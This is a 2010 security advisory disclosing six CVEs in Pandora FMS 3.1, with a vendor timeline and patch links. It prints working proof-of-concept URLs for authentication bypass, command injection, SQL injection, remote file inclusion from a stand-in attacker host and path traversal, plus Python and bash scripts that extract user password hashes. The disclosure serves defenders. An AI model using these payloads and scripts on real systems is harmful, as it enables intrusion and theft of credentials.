Pandora FMS Authentication Bypass and Multiple Input Validation Vulnerabilities

2010-12-06 / 2010-12-07
Risk: High
Local: No
Remote: Yes
CWE: CWE-94

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Pandora FMS Authentication Bypass and Multiple Input Validation Vulnerabilities CVE IDs in this security advisory: 1) Authentication bypass - CVE-2010-4279 2) OS Command Injection - CVE-2010-4278 3) SQL Injection - CVE-2010-4280 4) Blind SQL Injection - CVE-2010-4280 5) Path Traversal - CVE-2010-4281 - CVE-2010-4282 - CVE-2010-4283 [+] Introduction Pandora FMS (for Pandora Flexible Monitoring System) is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applications and hardware systems such as firewalls, proxies, databases, web servers or routers. It can be deployed in almost any operating system. It features remote monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use agents. An agent is available for each platform. It can also monitor hardware systems with a TCP/IP stack, such as load balancers, routers, network switches, printers or firewalls. This software has several servers that process and get information from different sources, using WMI for gathering remote Windows information, a predictive server, a plug-in server which makes complex user-defined network tests, an advanced export server to replicate data between different sites of Pandora FMS, a network discovery server, and an SNMP Trap console. Released under the terms of the GNU General Public License, Pandora FMS is free software. [+] Description and Proof of Concept 1) Authentication bypass - CVE-2010-4279 - CVSS: 10/10 An attacker could access to any account user, including admin, using the "hash login" authentication process. This kind of authentication method works providing a username and a hash. The issue could be exploited remotely providing a username and the md5 of it when $config['loginhash_pwd'] is empty, that in fact is the default configuration. Snippet of vulnerable code in index.php: 136 // Hash login process 137 if (! isset ($config['id_user']) && isset ($_GET["loginhash"])) { 138 $loginhash_data = get_parameter("loginhash_data", ""); 139 $loginhash_user = get_parameter("loginhash_user", ""); 140 141 if ($loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) { 142 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']); 143 $_SESSION['id_usuario'] = $loginhash_user; 144 $config["id_user"] = $loginhash_user; Proof of concept: http://servername/pandora_console/index.php?loginhash_data=21232f297a57a 5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1 Got it! admin! :) By default, any installation of this software allows unauthenticated attackers to perform an authentication bypass and a privilege escalation to admin. 1.1) Additionally, a manual modification in order to use the hash_hmac function instead of the weak statement md5 ( $string . $KEY) is encouraged for security purposes. Snippet of code (index.php, version 3.1.1): 145 // Hash login process (...) 150 if ($config["loginhash_pwd"] != "" && $loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) { In line 150, use hash_hmac("sha256",$loginhash_user,$config["loginhash_pwd"]), instead of md5($lioginhash_user.$config["loginhash_pwd"]) 2) OS Command Injection - CVE-2010-4278 - CVSS 9/10 The layout parameter in file operation/agentes/networkmap.php is not properly filtered and allows an attacker to inject OS commands. Snippet of vulnerable code (file operation/agentes/networkmap.php): 32 $layout = (string) get_parameter ('layout', 'radial'); ... 137 $filename_map = $config["attachment_store"]."/networkmap_".$layout; 138 $filename_img = "attachment/networkmap_".$layout."_".$font_size; 139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout; ... 162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng - -o".$filename_img." ".$filename_dot; 163 $result = system ($cmd); PoC: http://servername/pandora_console/index.php?login=1&login=1&sec=estado&s ec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a; http://servername/pandora_console/index.php?login=1&sec=estado&sec2=oper ation/agentes/networkmap&refr=0&layout=1;id; If we use vulnerability #1 (that permits bypass the authentication system and login as admin) with this issue, the CVSS will be 10/10. 3) SQL Injection - CVE-2010-4280 - CVSS 8.5/10 The parameter id_group when get_agents_group_json is equal to 1 is vulnerable to SQL Injection attacks. PoC: http://host/pandora_console/ajax.php?page=operation/agentes/ver_agente&g et_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id _user,password/**/from/**/tusuario Exploit: # Pandora Flexible Monitoring System SQL Injection PoC # Juan Galiana Lara # Gets the list of users and password from the database # #configure cookie&host before use it #usage #python sqlinj_users.py #admin:75b756ff2785ea8bb9ae02c13b6a71f1 #... import json import urllib2 headers = {"Cookie": "PHPSESSID=a4s3nf1tqv2fau8s6qhi6rutp9dahe9o"} url = "http://HOST/pandora_console/ajax.php" url+= "?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1" url+= "/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuar io" req = urllib2.Request(url,headers=headers) resp = urllib2.urlopen(req) users = json.read(resp.read()) for user in users: print(user["id_agente"]+":"+user["nombre"]) The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version. 4) Blind SQL Injection - CVE-2010-4280 - CVSS: 8.5/10 The parameter group_id of operation/agentes/estado_agente.php is vulnerable to blind sql injection. PoC: http://host/pandora_console/index.php?sec=estado&sec2=operation/agentes/ estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusua rio%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x 61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20 where%20id_grupo%20in%20%281 Exploit: #!/bin/bash # Pandora Flexible Monitoring System Blind SQL Injection PoC # Juan Galiana Lara # Gets the md5 hash password from a specific user # #configure host,cookie&group_id before use it #usage #$ ./getpassword.sh #74b444ff2785ea8bb9ae02c13b6a71f1 HOST="HOST" TARGET_USER="0x61646d696e" #admin PATTERN="Interval" COOKIE="rq842tci6e5ib7t918c6sv1ml4" CHARSET=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z) GROUP_ID=2 j=1 while [[ $j -lt 33 ]]; do i=0 while [[ $i -lt ${#CHARSET[@]} ]]; do c=$(printf '%d' "'${CHARSET[$i]}") URL="http://$HOST/pandora_console/index.php?sec=estado&sec2=operation/ag entes/estado_agente&group_id=$GROUP_ID%29%20and%20%28select%20password%2 0from%20tusuario%20where%20ord%28substring%28password,$j,1%29%29=$c%20an d%20id_user=$TARGET_USER%29%20union%20select%20id_agente,%20nombre%20fro m%20tagente%20where%20id_grupo%20in%20%281"; curl $URL --cookie "PHPSESSID=$COOKIE" 2> /dev/null | grep -q $PATTERN; if [ $? -eq 0 ]; then echo -n ${CHARSET[$i]}; break; fi; let i++ done; if [[ $i -eq ${#CHARSET[@]} ]]; then echo "Something went wrong!"; exit 1; fi let j++; done echo exit 0 The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version. 5) Path Traversal: 5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) - CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10 Parameter 'page' of ajax.php is not properly sanitizing user-supplied input. The function safe_url_extraclean is filtering ':' character, and it doesn't allow to use the string "http://" to create urls, but allows '/' character and an attacker could reference remote resources via Windows UNC files, using //servername//resource/file Note that the first check in safe_url_extraclean is filtering '://', so we can bypass the filter easily doing http://http://url, and it only strip the first protocol://. However, the last preg_replace strips the : character. Proof of concept: UNC: http://servername/pandora_console/ajax.php?page=//server/share/test As well, ajax.php allows to include any php file in the disk filesystem: http://servername/pandora_console/ajax.php?page=../../../../../directory /file Character %00 is not allowed due safe_url_extraclean function filtering, and is not possible to include other files distinct that php files, but still allows . and / characters. 5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283 - - CVSS 7.9/10 An attacker can inject arbitrary PHP code and execute it remotely due argv[1] parameter is not filtered in file pandora_diag.php. PoC: http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1] =http://serverattacker/salsa.php%00 Note: that issue needs register_globals set to On to be exploitable. 5.3 - Path traversal & Local file inclusion vulnerabilities - CVE-2010-4282 - CVSS 6.8/10 An attacker can include arbitrary files of the filesystem via id parameter in file pandora_help.php. Snippet of vulnerable code: 24 $id = get_parameter ('id'); 25 26 /* Possible file locations */ 27 $files = array ($config["homedir"]."/include/help/".$config["language"]."/help_".$id.". php", 28 $config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]." /help_".$id.".php", 29 $config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php", 30 $config["homedir"]."/include/help/en/help_".$id.".php"); 31 $help_file = ''; 32 foreach ($files as $file) { 33 if (file_exists ($file)) { 34 $help_file = $file; 35 break; 36 } 37 } ... 62 require_once ($help_file); Proof of concept: http://servername/pandora_console/general/pandora_help.php?id=/../../../ ../../../../boot.ini%00 This code is platform dependent bug, you can read more at http://seclists.org/fulldisclosure/2010/Jul/137 Only works in windows systems, an attacker can include local file using ../ characters due parameter id is not filtered If magic_quotes_gpc is Off, arbitrary files can be included, like boot.ini using NULL character (%00), if not, only php files are allowed 5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282 - - CVSS 8.0/10 In file operation/agentes/networkmap.php the 'layout' parameter is handled in an insecure way and it is used to write and delete files on the filesystem. An attacker could use this parameter to write in arbitrary paths and even remove files. Snippet of vulnerable code: 32 $layout = (string) get_parameter ('layout', 'radial'); ... 137 $filename_map = $config["attachment_store"]."/networkmap_".$layout; 138 $filename_img = "attachment/networkmap_".$layout."_".$font_size; 139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout; ... 157 $fh = @fopen ($filename_dot, 'w'); 158 if ($fh === false) { 159 $result = false; 160 } else { 161 fwrite ($fh, $graph); 162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng - -o".$filename_img." ".$filename_dot; 163 $result = system ($cmd); 164 fclose ($fh); 165 unlink ($filename_dot); 166 } ... 178 require ($filename_map); Character sequences '../' could be used to write files (due -o parameter in lines 162 and 163), as well as potentially remove files (line 157, 161 and 165) or include them (line 178) As well like in 5.3 this issue is only exploitable in windows environments because the same reason. [+] Impact An attacker can execute commands of the operating system, inject remote code in the context of the application, get arbitrary files from the filesystem or extract any data of the database including passwords and confidential information about the monitored network/systems. Also it is possible to bypass the authentication or scale privileges to became admin, gaining full control of the web application and web server. These vulnerabilities have a high impact to the confidentiality, integrity, and availability of the system. [+] Systems affected Versions prior and including 3.1 of Pandora FMS are affected [+] Solution Apply the security fix for version 3.1: http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final% 20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010 .tar.gz/download Or upgrade to version 3.1.1 from http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/ [+] Timeline Ago 2010: First contact to vendor Ago 2010: Confirmation of vendor Sept 2010: Second contact: SQL Injection vulnerabilities Sept 2010: Confirmation that the fix will be released on October Oct 2010: PandoraFMS security patch for 3.1 version released Oct 2010: Request for CVE numbers Nov 2010: PandoraFMS version 3.1.1 released Nov 2010: Disclosure of this advisory [+] References Official PandoraFMS site: http://pandorafms.org/ SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/ Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS Common Vulnerability Scoring System (CVSS) v2 calculator: http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2 Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/ [+] Credits These vulnerabilities has been discovered by Juan Galiana Lara - @jgaliana - http://juangaliana.blogspot.com/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iQIcBAEBAgAGBQJM9NIMAAoJEJaV5RMdiDI75QEP/jc/7zYJCFUTCCzfbVEOgECp //N5GUaV/TdIVCDcGKu+/09kbDewhU/hwcxNEH7H1EC80Xv2qx1gkrvcHiDsbITY sCrMd2JfOsT2xAFPYbuiD5QLvDcqjSj/rgVxjJFvMfe21HjYq7JmPl48jY9pvhXL 8zG6qarJ6lKD+pSfhFeI3OgZiNF0Ws5yzh3Byq4aeRcIGWzLahYZ7upyHnAsDon8 b8EqZao0gKvkWVZHEPm13WtLfZvwly6KhBkmgfaALJVO4WZ7dEHyy6/obokaYzgc nMA2ZiTyhXTTNlRtcFvbvU5clglu1eZr/hnEvi4L7UIGg00HkdqqiDMl6JmX6QWi ClUihkcSMxfgndDYib1Xebhghe+T6w0GLbUi40A40ByOrGAdU8UF6bo4Mh8EIgkX QrWR6M/nr+3GRf+LWgekKozqqFQNDQFeYq5qv16jGRiqO+Rn9yFjlqcjGY0Qx6DO zVY23OaXXjYkNIfHO+HX4pVhyomrg/oa9rLfjzx8tEieRTZDPDgyn33LP11IzE61 JN8T77VhuwkkYf1v6kzqvbzqNmkTslvk1PR38HUCGY+Sm6pejUsVyIWnt2goqprW tzbnxGOqmDHFfQ66F0HZkvY8eR0BRuaYZnYNSbzf65F0WmLh6usFOZfrWaZ9baSG Pee6VRKILvel2NRtvF+3 =Adj0 -----END PGP SIGNATURE-----

References:

http://www.securityfocus.com/bid/45112
http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
http://www.securityfocus.com/archive/1/archive/1/514939/100/0/threaded
http://www.exploit-db.com/exploits/15643


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